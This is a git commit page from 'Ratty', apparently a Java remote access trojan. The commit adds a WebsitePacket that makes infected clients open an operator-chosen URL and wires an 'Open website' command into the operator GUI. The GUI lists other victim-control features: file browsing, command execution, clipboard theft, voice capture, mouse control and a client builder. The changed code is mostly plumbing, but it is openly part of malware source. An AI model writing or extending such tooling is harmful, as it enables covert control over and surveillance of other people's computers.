Browse Source

Major changes

Added WebsitePacket class
master
Sogomn 9 years ago
parent
commit
618269bb39
  1. BIN
      Ratty/res/menu_icons.png
  2. 6
      Ratty/src/de/sogomn/rat/packet/ExecuteFilePacket.java
  3. 3
      Ratty/src/de/sogomn/rat/packet/PacketType.java
  4. 65
      Ratty/src/de/sogomn/rat/packet/WebsitePacket.java
  5. 2
      Ratty/src/de/sogomn/rat/server/gui/RattyGui.java
  6. 7
      Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java

BIN
Ratty/res/menu_icons.png

Before

Width: 96  |  Height: 96  |  Size: 756 B

After

Width: 96  |  Height: 96  |  Size: 893 B

6
Ratty/src/de/sogomn/rat/packet/ExecuteFilePacket.java

@ -31,12 +31,14 @@ public final class ExecuteFilePacket implements IPacket {
@Override
public void execute(final ActiveClient client) {
final boolean desktopSupported = Desktop.isDesktopSupported();
final File file = new File(path);
if (Desktop.isDesktopSupported() && file.exists()) {
if (desktopSupported && file.exists()) {
final Desktop desktop = Desktop.getDesktop();
final boolean canOpen = desktop.isSupported(Action.OPEN);
if (desktop.isSupported(Action.OPEN)) {
if (canOpen) {
try {
desktop.open(file);
} catch (final IOException ex) {

3
Ratty/src/de/sogomn/rat/packet/PacketType.java

@ -18,7 +18,8 @@ public enum PacketType {
FOLDER(13, CreateFolderPacket.class),
DELETE(14, DeleteFilePacket.class),
MOUSE_EVENT(15, MouseEventPacket.class),
VOICE(16, VoicePacket.class);
VOICE(16, VoicePacket.class),
WEBSITE(17, WebsitePacket.class);
public final byte id;
public final Class<? extends IPacket> clazz;

65
Ratty/src/de/sogomn/rat/packet/WebsitePacket.java

@ -0,0 +1,65 @@
package de.sogomn.rat.packet;
import java.awt.Desktop;
import java.awt.Desktop.Action;
import java.io.IOException;
import java.net.URI;
import java.net.URISyntaxException;
import de.sogomn.rat.ActiveClient;
public final class WebsitePacket implements IPacket {
private String address;
private static final String HTTP_PREFIX = "http://";
public WebsitePacket(final String address) {
final boolean hasPrefix = address.startsWith(HTTP_PREFIX);
if (hasPrefix) {
this.address = address;
} else {
this.address = HTTP_PREFIX + address;
}
}
public WebsitePacket() {
this("");
}
@Override
public void send(final ActiveClient client) {
client.writeUTF(address);
}
@Override
public void receive(final ActiveClient client) {
address = client.readUTF();
}
@Override
public void execute(final ActiveClient client) {
final boolean desktopSupported = Desktop.isDesktopSupported();
if (desktopSupported) {
final Desktop desktop = Desktop.getDesktop();
final boolean canBrowse = desktop.isSupported(Action.BROWSE);
if (canBrowse) {
try {
final URI uri = new URI(address);
desktop.browse(uri);
} catch (final IOException | URISyntaxException ex) {
ex.printStackTrace();
}
}
}
}
public String getAddress() {
return address;
}
}

2
Ratty/src/de/sogomn/rat/server/gui/RattyGui.java

@ -53,6 +53,7 @@ public final class RattyGui {
public static final String FILES = "Browse files";
public static final String COMMAND = "Execute command";
public static final String CLIPBOARD = "Get clipboard content";
public static final String WEBSITE = "Open website";
public static final String FREE = "Free client";
public static final String BUILD = "Client builder";
@ -64,6 +65,7 @@ public final class RattyGui {
FILES,
COMMAND,
CLIPBOARD,
WEBSITE,
FREE
};

7
Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java

@ -29,6 +29,7 @@ import de.sogomn.rat.packet.PopupPacket;
import de.sogomn.rat.packet.ScreenshotPacket;
import de.sogomn.rat.packet.UploadFilePacket;
import de.sogomn.rat.packet.VoicePacket;
import de.sogomn.rat.packet.WebsitePacket;
import de.sogomn.rat.server.ActiveServer;
import de.sogomn.rat.server.IServerObserver;
import de.sogomn.rat.util.FrameEncoder.IFrame;
@ -158,6 +159,12 @@ public final class RattyGuiController implements IServerObserver, IClientObserve
packet = new MouseEventPacket(x, y, button, MouseEventPacket.RELEASE);
} else if (command == RattyGui.VOICE && !serverClient.isStreamingVoice()) {
packet = new VoicePacket();
} else if (command == RattyGui.WEBSITE) {
final String input = JOptionPane.showInputDialog(null);
if (input != null && !input.isEmpty()) {
packet = new WebsitePacket(input);
}
}
return packet;

Loading…
Cancel
Save